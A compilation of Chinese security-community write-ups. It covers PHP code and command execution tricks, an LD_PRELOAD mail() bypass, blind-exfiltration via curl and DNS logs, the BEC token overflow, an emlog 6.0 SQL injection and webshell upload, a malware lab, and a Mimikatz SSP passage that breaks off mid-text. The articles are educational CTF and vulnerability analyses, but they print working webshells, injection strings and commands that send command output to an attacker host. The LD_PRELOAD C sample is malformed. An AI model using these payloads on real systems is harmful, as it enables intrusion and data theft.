漏洞演示
//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
**call_user_func()/call_user_func_array()**
和array_map()函数挺像的。
官方文档
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数。
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数（callback）调用，把参数数组作（param_arr）为回调函数的的参数传入。
示例
call_user_func()
// ?a=phpinfo();
call_user_func(assert,$_GET['a']);
call_user_func_array()
//?a=phpinfo();
$array[0] = $_GET['a'];
call_user_func_array("assert",$array);
**array_filter()**
官方文档
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true，则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
示例
$array[0] = $_GET['a'];
array_filter($array,'assert');
**usort()/uasort()**
usrot官方文档
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序，那么应该使用此函数。
**shell_1**
<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>
只有在php5.6以上环境才可使用
[详解](https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html)
关于`...$_GET`是php5.6引入的新特性。即将数组展开成参数的形式。
**shell_2**
下面这种写法只在php5.6版本以下可以使用。
// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');
## 命令执行
### 常见命令执行函数
* system()
* passthru()
* exec()
* shell_exec()
* `反引号
* ob_start()
* mail函数+LD_PRELOAD执行系统命令
**system()**
➜ ~ php -r "system('whoami');"
yang
**passthru()**
➜ ~ php -r "passthru('whoami');"
yang
**exec()**
➜ ~ php -r "echo exec('whoami');"
yang%
**shell_exec()**
➜ ~ php -r "echo shell_exec('whoami');"
yang
**`反引号**
➜ ~ php -r "echo @`whoami`;"
yang%
**ob_start()**
官方文档
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（除http标头外），相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容，可以使用 ob_end_flush() 函数。另外， 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
使用
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
**mail函数+LD_PRELOAD执行系统命令**
**思路**
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库，php函数mail在实现的过程中会调用标准库函数，通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数，并且重新定义的库函数中包含执行系统命令的代码。)，再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序，从而实现命令执行。
**利用**
a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
编译
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
监听vps的4123端口，访问mail.php。
### ctf绕过的小tip
**空格**
在bash下，可以用以下字符代替空格
<
${IFS}
$IFS$9
%09
测试
ubuntu@VM-0-8-ubuntu:~/shell$ cat<1.txt
abc
ubuntu@VM-0-8-ubuntu:~/shell$ cat${IFS}1.txt
abc
ubuntu@VM-0-8-ubuntu:~/shell$ cat$IFS$91.txt
abc
%09测试
<?php
$cmd = $_GET['cmd'];
system("$cmd");
?>
//http://127.0.0.1/45.php?cmd=cat%091.txt
//输出abc
**敏感字符绕过**
这里假设过滤了`cat`
1. 利用变量绕过
ubuntu[@VM](https://github.com/VM "@VM")-0-8-ubuntu:~/shell$ a=c;b=a;c=t;
ubuntu[@VM](https://github.com/VM "@VM")-0-8-ubuntu:~/shell$ $a$b$c 1.txt
abc
2. 利用base编码绕过
ubuntu@VM-0-8-ubuntu:~/shell$ echo 'cat' | base64
Y2F0Cg==
ubuntu@VM-0-8-ubuntu:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt
abc
### 处理无回显的命令执行
**1.利用自己的vps**
在vps上使用nc监听
➜ ~ nc -lnvp 4567
Listening on [0.0.0.0] (family 0, port 4567)
后台代码
<?php
$a = $_GET['id'];
system("$a");
?>
paylaod
curl http://vps_ip/?id=`whoami`
收到回显
**2.利用ceye平台**
[平台的payload](http://ceye.io/payloads)
**记录在http request中**
题目地址
http://192.168.10.55/
后台源码
<?php
$a = $_GET['id'];
system("$a");
?>
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl访问才会成功，在浏览器直接访问时无效的。
效果
图1
**记录在dns query中**
**简单介绍**
DNS在解析的时候是逐级解析的，并且会留下日志，所以可以将回显放在高级域名，这样在解析的时候就会将回显放在高级域名中，我们就可以在dns
query中看到回显。
举个例子
在注册ceye.io之后会分配一个三级域名。就是 ******.ceye.io。
ping `whoami`.******.ceye.io
上面这条命令最终在ping的时候ping的是“root.
******.ceye.io”，root就是我们构造的恶意命令执行的结果，我们把它放在四级域名这里，这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解，如有错误，烦请指出。)
所以这种方法的使用必须有ping命令。
**真题解析**
题目存在robots.txt文件，访问发现两个文件
index.txt
where_is_flag.php
index.php代码
<?php
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);
可以看到存在ping命令，但是测试没有回显，于是就采用dnslog的方式来查看回显。
payload
ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格，但是php代码中可能会含有空格，所以使用sed命令将php代码的空格替换为xx
最终的url
http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
在dns query中查看
图2
可以看到文件的内容是
<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>
由此得知flag.php的位置，继续打印flag.php的内容
获取flag的url
http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
图三
得到flag。
## 后记
从开始学打ctf到现在见了挺多的代码执行和命令执行，这次算比较完整的总结了一下，感觉对于我这种萌新还是挺友好的。欢迎师傅们指出不对的地方。 | 社区文章 |
作者：爬虫
来源：[知乎专栏“区块链开发之北”](https://zhuanlan.zhihu.com/p/35989258?utm_source=wechat_session&utm_medium=social&wechatShare=2&from=groupmessage&isappinstalled=0
"知乎专栏“区块链开发之北”")
现在进入你还是先行者，最后观望者进场才是韭菜。 美图董事长蔡文胜曾在三点钟群，高调的说出了这句话，随即被大众疯传。
在他发表完言论没多久，2月美链（BEC）上交易所会暴涨4000%，后又暴跌。尽管他多次否认，聪明的网友早已扒出，他与BEC千丝万缕的关系。
庄家坐庄操控币价，美图的股价随之暴涨，蔡文胜顺利完成了他的韭菜收割大计。
但在币圈，割人者，人恒割之。
随着BEC智能合约的漏洞的爆出，被黑客利用，瞬间套现抛售大额BEC，60亿在瞬间归零。
而这一切，竟然是因为一个简单至极的程序Bug。
#### 背景
今天有人在群里说，[Beauty Chain
美蜜](https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d
"Beauty Chain 美蜜") 代码里面有bug，已经有人利用该bug获得了
57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968
个 BEC
那笔操作记录是
[0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f](https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
"0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f")
下面我来带大家看看，黑客是如何实现的！
我们可以看到执行的方法是 `batchTransfer`
那这个方法是干嘛的呢？（给指定的几个地址，发送相同数量的代币）
#### 整体逻辑是
你传几个地址给我(receivers),然后再传给我你要给每个人多少代币（value)
然后你要发送的总金额 = 发送的人数* 发送的金额
然后 要求你当前的余额大于 发送的总金额
然后扣掉你发送的总金额
然后 给receivers 里面的每个人发送 指定的金额（value)
从逻辑上看，这边是没有任何问题的，你想给别人发送代币，那么你本身的余额一定要大于发送的总金额的！
但是这段代码却犯了一个很傻的错!
#### 代码解释
这个方法会传入两个参数
1. _receivers
2. _value
_receivers 的值是个列表，里面有两个地址
[0x0e823ffe018727585eaf5bc769fa80472f76c3d7](https://etherscan.io/token/0xc5d105e63711398af9bbff092d4b6769c82f793d?a=0x0e823ffe018727585eaf5bc769fa80472f76c3d7
"0x0e823ffe018727585eaf5bc769fa80472f76c3d7")
[0xb4d30cac5124b46c2df0cf3e3e1be05f42119033](https://etherscan.io/token/0xc5d105e63711398af9bbff092d4b6769c82f793d?a=0xb4d30cac5124b46c2df0cf3e3e1be05f42119033
"0xb4d30cac5124b46c2df0cf3e3e1be05f42119033")
_value 的值是 `8000000000000000000000000000000000000000000000000000000000000000`
我们再查看代码（如下图）
我们一行一行的来解释
`uint cnt = _receivers.length;`
是获取 _receivers 里面有几个地址，我们从上面可以看到 参数里面只有两个地址，所以 cnt=2，也就是 给两个地址发送代币
`uint256 amount = uint256(cnt) * _value;`
#### uint256
首先 `uint256(cnt)` 是把cnt 转成了 uint256类型
那么,什么是uint256类型？或者说uint256类型的取值范围是多少...
uintx 类型的取值范围是 0 到 2的x次方 -1
也就是 假如是 uint8的话
则 uint8的取值范围是 0 到 2的8次方 -1
也就是 0 到255
那么uint256 的取值范围是
0 - 2的256次方-1 也就是 `0
到115792089237316195423570985008687907853269984665640564039457584007913129639935`
python 算 2的256次方是多少
那么假如说 设置的值超过了 取值范围怎么办？这种情况称为 溢出
举个例子来说明
因为uint256的取值太大了，所以用uint8来 举例。。。
从上面我们已经知道了 uint8 最小是0，最大是255
那么当我 255 + 1 的时候，结果是啥呢？结果会变成0
那么当我 255 + 2 的时候，结果是啥呢？结果会变成1
那么当我 0 - 1 的时候，结果是啥呢？结果会变成255
那么当我 0 - 2 的时候，结果是啥呢？结果会变成255
那么 我们回到上面的代码中，
`amount = uint256(cnt) * _value`
则 `amount = 2* _value`
但是此时 _value 是16进制的，我们把他转成 10进制
（python 16进制转10进制）
可以看到 `_value =
57896044618658097711785492504343953926634992332820282019728792003956564819968`
那么`amount = _value*2 =
115792089237316195423570985008687907853269984665640564039457584007913129639936`
可以在查看上面看到 uint256取值范围最大为
`115792089237316195423570985008687907853269984665640564039457584007913129639935`
此时，amout已经超过了最大值，溢出 则 `amount = 0`
下一行代码 `require(cnt > 0 && cnt <= 20); require` 语句是表示该语句一定要是正确的，也就是 cnt 必须大于0 且
小于等于20
我们的cnt等于2，通过!
`require(_value > 0 && balances[msg.sender] >= amount);`
这句要求 value 大于0，我们的value是大于0 的 且,当前用户拥有的代币余额大于等于 amount,因为amount等于0，所以
就算你一个代币没有，也是满足的！
`balances[msg.sender] = balances[msg.sender].sub(amount);`
这句是当前用户的余额 - amount
当前amount 是0，所以当前用户代币的余额没有变动
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
这句是遍历 _receivers中的地址， 对每个地址做以下操作
`balances[_receivers[i]] = balances[_receivers[i]].add(_value);
_receivers`中的地址 的余额 = 原本余额+value
所以 `_receivers` 中地址的余额
则加了`57896044618658097711785492504343953926634992332820282019728792003956564819968`
个代币！！！
`Transfer(msg.sender, _receivers[i], _value); }` 这句则只是把赠送代币的记录存下来！！！
#### 总结
就一个简单的溢出漏洞，导致BEC代币的市值接近归0
那么，开发者有没有考虑到溢出问题呢？
其实他考虑了,
可以看如上截图
除了amount的计算外, 其他的给用户转钱 都用了safeMath 的方法（sub,add)
那么 为啥就偏偏这一句没有用safeMath的方法呢。。。
这就要用写代码的人了。。。
#### 啥是safeMath
safeMath 是为了计算安全 而写的一个library
我们看看他干了啥？为啥能保证计算安全.
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
如上面的乘法. 他在计算后，用assert 验证了下结果是否正确！
如果在上面计算 amount的时候，用了 mul的话， 则 `c / a == b` 也就是 验证 amount / cnt == _value
这句会执行报错的，因为 0 / cnt 不等于 _value
所以程序会报错！
也就不会发生溢出了...
那么 还有一个小问题，这里的 `assert` 好 `require` 好像是干的同一件事
都是为了验证 某条语句是否正确！
那么他俩有啥区别呢？
用了assert的话，则程序的gas limit 会消耗完毕
而require的话，则只是消耗掉当前执行的gas
#### 总结
那么 我们如何避免这种问题呢？
我个人看法是
1. 只要涉及到计算，一定要用safeMath
2. 代码一定要测试！
3. 代码一定要review！
4. 必要时，要请专门做代码审计的公司来 测试代码
这件事后需要如何处理呢？
目前，该方法已经暂停了（还好可以暂停）所以看过文章的朋友 不要去测试了...
不过已经发生了的事情咋办呢？
我能想到的是，快照在漏洞之前，所有用户的余额情况
然后发行新的token，给之前的用户 发送等额的代币...
写了个爬虫，爬取热门ICO的源代码
里面有没有bug，自己找吧~
<https://github.com/jin10086/ico-spider>
* * * | 社区文章 |
近期有小伙伴问了我一道题，然后自己发掘到了一些关于 PHP 复杂变量不太被关注的问题。
## 起因
起因是因为一个小伙伴问了我一道题
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
if(preg_match('/[A-Za-z0-9]+\(/i',$str) == 1){
die('hack');
}
eval('$a="' . $str . '";');
?>
自己想了好一会好像并没有能用自己当时的现有知识去解决这个问题，于是我去搜集了一些资料学到了一些新的知识。感兴趣的小伙伴可以先自己做一下哈～
### 题目解释
整个代码逻辑非常简单，接受一个`$_GET['str']`的传参，在经过`addslashes()`函数转义特殊符号与正则表达式检验之后，传入`eval()`当中拼接到`$a="";`变量当中。
既然有`eval()`，那是不是可以执行命令呢？答案是当然可以的。
首先我们来看正则表达式的效果如下图所示
如果小括号前有数字或者字母的话就会`die()`掉整个程序，大概意思就是防止直接使用函数，例如不能直接使用`system('ls')`这样子。
## PHP 复杂变量
### Introduction
下面我们简单介绍一个关注度比较少的一个 php 知识——PHP 复杂变量。按照 php 官方文档对复杂变量的介绍
{% colorquote success %}
复杂语法不是因为其语法复杂而得名，而是因为它可以使用复杂的表达式。
任何具有 [string](https://www.php.net/manual/zh/language.types.string.php)
表达的标量变量，数组单元或对象属性都可使用此语法。只需简单地像在
[string](https://www.php.net/manual/zh/language.types.string.php)
以外的地方那样写出表达式，然后用花括号 _{_ 和 _}_ 把它括起来即可。由于 _{_ 无法被转义，只有 _$_ 紧挨着 _{_ 时才会被识别。可以用
_{\$_ 来表达 _{$_ 。
{% endcolorquote %}
我们介绍一个简单的例子：
<?php
$great = 'fantastic';
// 无效，输出: This is { fantastic}
echo "This is { $great}";
// 有效，输出： This is fantastic
echo "This is {$great}";
echo "This is ${great}";
也就是说在 php 中，我们还可以利用`${xxx}`的形式来表达一个变量。
### Usage
官方文档还给出了一个非常有意思的 Note:
{% colorquote success %}
**Note** :
函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 _{$}_
中使用。然而，只有在该字符串被定义的命名空间中才可以将其值作为变量名来访问。只单一使用花括号 ( _{}_ )
无法处理从函数或方法的返回值或者类常量以及类静态变量的值。
{% endcolorquote %}
函数、方法！所以我们根据文档可以怎么利用呢？
<?php
highlight_file(__FILE__);
$a = "${phpinfo()}";
?>
### Thinking
然而为什么可以这么做呢？虽然官方文档很明确的指出了，但是是不是还是有一点费解的感觉？
其实在 php 中，我们可以查阅 php 文档知道有
{% colorquote success %}
PHP 中的变量用一个美元符号后面跟变量名来表示。变量名是区分大小写的。
变量名与 PHP
中其它的标签一样遵循相同的规则。一个有效的变量名由字母或者下划线开头，后面跟上任意数量的字母，数字，或者下划线。按照正常的正则表达式，它将被表述为：`[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'`。
{% endcolorquote %}
我们可以看到`${phpinfo()}`里面在严格意义上来说并不是一个变量，那为什么可以执行呢？
让我们来看一个例子
在 php
中，可以接受函数的返回值作为变量名，而`phpinfo()`的返回值为`TRUE`，所以先将`phpinfo()`执行了，将返回值返回作为了变量名。
我们可以再来看一个例子。
这里就更清楚的说明了执行了`system('whomai')`并把其返回值`zedd`作为了变量，最后`$zedd`才被修改了。
这里也与[php变量解析的复杂语法](https://www.chabug.org/ctf/425.html)作者 @s1ye
师傅交流了一下，也跟他讨论了他文章中有几个地方存在的疏忽之处，`${phpinfo()}`得到的并非是`$TRUE`，具体可以使用上述方法看看。
## Challanges
### Easy
我们不妨先把问题简化，如果没有任何防护，我们可以怎么做呢？
<?php
error_reporting(0);
highlight_file(__FILE__);
$str = $_GET['str'];
eval('$a="' . $str . '";');
?>
直接传入拼接自然我们肯定有双引号闭合进而执行命令。
### Medium
<?php
error_reporting(0);
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
?>
那加上`addslashes()`方法呢？既然不能逃逸双引号，我们就可以利用 php 复杂变量来处理。
### Difficult
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
if(preg_match('/[A-Za-z0-9]+\(/i',$str) == 1){
die('hack');
}
eval('$a="' . $str . '";');
?>
好的，终于回到了我们题目，这样的话就不能单纯地使用函数方法了。那我们可以怎么做呢？
如果开启了`Notice`回显的话，我们可以利用反引号就可以简单实现命令执行了
那要是没开启呢？自然不可行了。
接下来就可以利用可变函数的与字符串拼接的特性了，简单来说就用下图的技巧，详细的可以移步个人博客查看[Some Tricks of Bypass php
waf](https://blog.zeddyu.info/2019/02/28/Some-Tricks-of-Bypass-php-waf/)
所以我们可以这里玩法就很多样了
关于 php 复杂变量的玩法还有很多，这里就大概说到这里吧，文中有不对之处还望师傅们斧正。
## Reference
[php 文档-String 字符串](https://www.php.net/manual/zh/language.types.string.php)
[php 文档-复杂(花括号)语法](https://www.php.net/manual/zh/language.types.string.php#language.types.string.parsing.complex)
[php变量解析的复杂语法](https://www.chabug.org/ctf/425.html) | 社区文章 |
# 前言
最近想做一下博客迁移，发现了emlog博客系统，发现很久没有更新，去CNVD上搜索发现了几个归档的漏洞，这里对照其中的描述进行分析下，本文中emblog版本为6.0
# 漏洞分析
## 后台sql注入（一）
漏洞点位于`/admin/tag.php`文件中删除标签功能处，代码如下
在进行删除操作时调用了`deleteTag`函数，跟进该函数
可以看到该处进行标签的删除操作时，最后执行的`Delete`语句中`$tagid`变量并没有单引号进行保护，这就存在了注入的可能，我们来尝试打印一下`$tagid`的值，首先在后台管理处选择一个标签进行删除，抓取数据包
可以看到`$tagid`的值为`tag`数组的下标值，由于该系统在外部传入`post`值时并没有做全局过滤，我们可以尝试直接在下标处构造注入语句
2 and updatexml(0x3a,concat(1,(select user())),1)#
如图
可以看到成功的进行了报错注入
## 后台sql注入（二）
漏洞点位于`/admin/widgets.php`中的保存排序功能，主要代码如下
首先我们需要传入两个变量，$wgNum会做整型处理，而`$widgets`传进来时只是进行了序列化处理，没有其他的限制，接着会调用`updateOption`方法，跟进该方法
该方法中执行了update语句，我们来打印下该处`update`语句，首先触发保存排序功能，抓取数据包
可以看到序列化字符串使用了单引号包裹，但是由于`$widgets`没有其他限制导致我们可以输入单引号进行闭合，进而插入sql语句，我们可以构造如下语句
UPDATE emlog_options SET option_value='a:3:{i:0;s:62:"archive' and updatexml(0x3a,concat(1,(select user())),1) and '";i:1;s:4:"link";i:2;s:6:"search";}' where option_name='widgets1'
实际测试看一下
可以看到成功触发了报错，带出了数据
## 文件上传（一）
漏洞点位于`/admin/plugin.php`的插件上传功能，代码如下
//上传zip插件
if ($action == 'upload_zip') {
LoginAuth::checkToken();
$zipfile = isset($_FILES['pluzip']) ? $_FILES['pluzip'] : '';
if ($zipfile['error'] == 4) {
emDirect("./plugin.php?error_d=1");
}
if (!$zipfile || $zipfile['error'] >= 1 || empty($zipfile['tmp_name'])) {
emMsg('插件上传失败');
}
if (getFileSuffix($zipfile['name']) != 'zip') {
emDirect("./plugin.php?error_f=1");
}
$ret = emUnZip($zipfile['tmp_name'], '../content/plugins/', 'plugin');
switch ($ret) {
case 0:
emDirect("./plugin.php?activate_install=1#tpllib");
break;
case -1:
emDirect("./plugin.php?error_e=1");
break;
case 1:
case 2:
emDirect("./plugin.php?error_b=1");
break;
case 3:
emDirect("./plugin.php?error_c=1");
break;
}
}
该段代码调用了`emUnZip`函数对我们上传的`zip`包进行解压操作，跟进该函数看一下
/**
* 解压zip
* @param type $zipfile 要解压的文件
* @param type $path 解压到该目录
* @param type $type
* @return int
*/
function emUnZip($zipfile, $path, $type = 'tpl') {
if (!class_exists('ZipArchive', FALSE)) {
return 3;//zip模块问题
}
$zip = new ZipArchive();
if (@$zip->open($zipfile) !== TRUE) {
return 2;//文件权限问题
}
$r = explode('/', $zip->getNameIndex(0), 2);
$dir = isset($r[0]) ? $r[0] . '/' : '';
switch ($type) {
case 'tpl':
$re = $zip->getFromName($dir . 'header.php');
if (false === $re)
return -2;
break;
case 'plugin':
$plugin_name = substr($dir, 0, -1);
$re = $zip->getFromName($dir . $plugin_name . '.php');
if (false === $re)
return -1;
break;
case 'backup':
$sql_name = substr($dir, 0, -1);
if (getFileSuffix($sql_name) != 'sql')
return -3;
break;
case 'update':
break;
}
if (true === @$zip->extractTo($path)) {
$zip->close();
return 0;
} else {
return 1;//文件权限问题
}
}
该处上传插件主要用到如下代码
`$plugin_name`是解压后文件或文件夹的名称，`$dir`是在`$plugin_name`加上一个`/`，该处的判断要求就是需要我们在压缩包中存在一个文件夹并且文件夹下存在着与文件夹同名的`PHP`文件，满足这个条件就可以正常上传插件，我们可以构造如下的`zip`文件，在`shell.php`中写入一句话
在后台插件安装处上传`zip`包
成功的在`/content/plugins/shell/shell.php`写入了一句话
## 文件上传（二）
该处文件上传与上面所述的原理是相同的，触发点位于`/admin/template.php`中的模板上传功能，关键代码如下
//上传zip模板
if ($action == 'upload_zip') {
LoginAuth::checkToken();
$zipfile = isset($_FILES['tplzip']) ? $_FILES['tplzip'] : '';
if ($zipfile['error'] == 4) {
emDirect("./template.php?action=install&error_d=1");
}
if (!$zipfile || $zipfile['error'] >= 1 || empty($zipfile['tmp_name'])) {
emMsg('模板上传失败');
}
if (getFileSuffix($zipfile['name']) != 'zip') {
emDirect("./template.php?action=install&error_a=1");
}
$ret = emUnZip($zipfile['tmp_name'], '../content/templates/', 'tpl');
switch ($ret) {
case 0:
emDirect("./template.php?activate_install=1#tpllib");
break;
case -2:
emDirect("./template.php?action=install&error_e=1");
break;
case 1:
case 2:
emDirect("./template.php?action=install&error_b=1");
break;
case 3:
emDirect("./template.php?action=install&error_c=1");
break;
}
}
该处同样是调用了`emUnZip`函数来解压`zip`包，关键代码如下
根据上面的分析，可以轻松的看出该处的限制要求，该处需要我们在`zip`中存在一个文件夹，文件夹下要存在一个`header.php`文件，我们可以构造如下的文件结构，在`header`中写入`phpinfo`语句
在后台模板管理功能处上传`zip`包，上传后点击切换刚才上传的模板
然后访问首页
成功的执行了`phpinfo`
# 后记
该系统的两处上传利用点是比较具有代表性的，很多`cms`在插件或模板管理处都没有太严格的限制，导致可以利用编辑或者上传功能`getshell`。这也告诉我们无论开发什么都要在用户可交互的功能点处做好检测，提高系统的安全性 | 社区文章 |
# 目标
通过分析代码结构来理解一个恶意样本的总体功能
# 分析流程
1.基础静态分析
2.基础动态分析
3.高级静态分析
# 实践过程
## 实例1
Lab06-01.exe
### 基础静态分析
导入表：wininet.dll、kernel32.net
导入函数：InternetGetConnectedState
字符串值：Error 1.1: No Internet、Success: Internet Connection
从导入库、导入函数、以及字符串可以看出该样本存在检测网络状态的功能
### 基础动态分析
运行样本后，通过联网和断网两种情景样本打印出不同输出，基本可以确定存在网络状态检测功能
### 高级静态分析
通过一个if-else语句，根据不同网络状态返回值来打印不同的字符串，并且根据基础动态分析的反馈可以判断sub_40105F函数为printf函数
## 实例2
### 基础静态分析
导入函数
InternetOpenUrlA
InternetCloseHandle
InternetReadFile
InternetGetConnectedState
InternetOpenA
字符串
http://www.practicalmalwareanalysis.com/cc.htm
Error 1.1: No Internet
Success: Internet Connection
Error 2.3: Fail to get command
Error 2.2: Fail to ReadFile
Error 2.1: Fail to OpenUrl
Internet Explorer 7.5/pma
Success: Parsed command is %c
从导入函数和字符串可以看出，这个样本应该对网页发起请求，并且可能存在解析网页来获取命令的操作
### 基础动态分析
根据返回的信息，是访问url失败，手动在浏览器访问该网页缺失已经实效
### 高级静态分析
跟进main函数分析代码得到只有跟进上面的两个if语句内部，即满足这两个if语句的成立条件才可以打印出`'Success: Parsed command
is %c'`,而如果不满足条件就会退出，接着我们跟进sub_401000函数，分析如果满足第一个if语句的跳转条件
直接跟进sub_401000函数，和实例1的功能一样，需要联网才可以返回为1，即满足一个if成立条件
直接跟进第二函数sub_401040，分析得到需要打开 <http://www.practicalmalwareanalysis.com/cc.htm>
网页进入下一层if语句，接着读取到网页文件才可以进入最后一层if语句，在最后满足读取文件内容以`<!--` 开头就可以将网页的第5个字符返回。
最终满足两个if语句的成立条件，打印出`Success: Parsed command is %c`
#### 数组修复
根据MSDN上的函数介绍，我们知道
InternetReadFile函数是向lpBuffer这个数组内写入数据的，大小有dwNumberOfBytesToRead决定
在分析最后一个条件判断时，ida并没有识别出这个函数的数组长度，所以后面三个比较都是用变量var_20F等来表示的。
手动修复数组大小为512字节
这样IDA就可以识别出这个函数的其他参数并且给其命名，相应的伪代码也可以识别出位数组的元素了 | 社区文章 |
# 深入分析Mimikatz：SSP
##### 译文声明
本文是翻译文章，文章原作者 xpnsec，文章来源：blog.xpnsec.com
原文地址：<https://blog.xpnsec.com/exploring-mimikatz-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在前一篇[文章](https://blog.xpnsec.com/exploring-mimikatz-part-1/)中，我们开始深入分析Mimikatz。我们的想法很简单，就是想澄清Mimikatz内部的工作原理，以便开发自定义和有针对性的payload。微软引入了一些安全控制机制（如Credential
Guard），避免攻击者转储凭据信息。在本文中，我们将回顾一下绕过这种机制的巧妙方法，然后提取我们所需的凭据。这里我们想要分析的是Mimikatz所支持的SSP功能。
SSP（Security Support
Provider）是一个DLL，允许开发者提供一些回调函数，以便在特定认证和授权事件期间调用。在前一篇文章中，我们可以了解到WDigest正是使用这个接口来缓存凭据。
Mimikatz为我们提供了利用SSP的其他一些不同技术。首先是“Mimilib”，这是具备各种功能的一个DLL，其中一个功能就是实现了SSP接口。其次是“memssp”，这是完成相同任务的另一种有趣方式，但这种方法需要patch内存，而不是单单加载DLL那么简单。
首先试一下以传统方式来加载SSP：Mimilib。
> 备注：与前一篇文章相同，本文大量用到了Mimikatz源代码，Mimikatz开发人员在这上面花了大量精力。感谢Mimikatz、[Benjamin
> Delpy](https://twitter.com/gentilkiwi)以及[Vincent Le
> Toux](https://twitter.com/mysmartlogon)的杰出工作。
## 0x01 Mimilib
Mimilib就像变色龙一样，支持利用`ServerLevelPluginDll`来通过RPC进行横向移动、DHCP Server
Callout，甚至也可以作为WinDBG扩展。在本文中，我们主要关注的是这个库如何充当SSP角色，使攻击者能在受害者输入凭据时提取到目标信息。
系统在调用SSP时，会通过SSP接口传递明文凭据，这意味着我们可以提取到明文凭据，这也是Mimilib的理论基础。Mimilib
SSP功能的入口点位于[kssp.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kssp.c)中的`kssp_SpLsaModeInitialize`函数。DLL通过`mimilib.def`定义文件，将该函数导出为`SpLsaModeInitialize`，`lsass`会使用该函数来初始化包含多个回调的一个结构体。
Mimilib注册的回调函数包括：
* `SpInitialize`：用来初始化SSP，提供一个函数指针列表。
* `SpShutDown`：卸载SSP时就会被调用，以便释放资源。
* `SpGetInfoFn`：提供SSP相关信息，包括版本、名称以及描述。
* `SpAcceptCredentials`：接收LSA传递的明文凭据，以便SSP缓存。
如果大家看过上一篇文章，就知道WDigest会使用`SpAcceptCredentials`来缓存凭据，这也是多年来我们一直能成功提取凭据的切入点。
了解这些背景后，Mimilib所需要做的就是在`SpAcceptCredentials`被调用后保存传入的明文凭据，这正是`kssp_SpAcceptCredentials`的代码逻辑，如下所示：
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\%wZ (%wZ)t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
现在我不相信`mimikatz.exe`能够直接加载Mimilib，但根据微软的官方文档，我们可以添加[注册表项](https://docs.microsoft.com/en-us/windows/desktop/secauthn/restrictions-around-registering-and-installing-a-security-package)、重启系统就能添加SSP。
然而经过一番搜索后，我找到了一则推文：
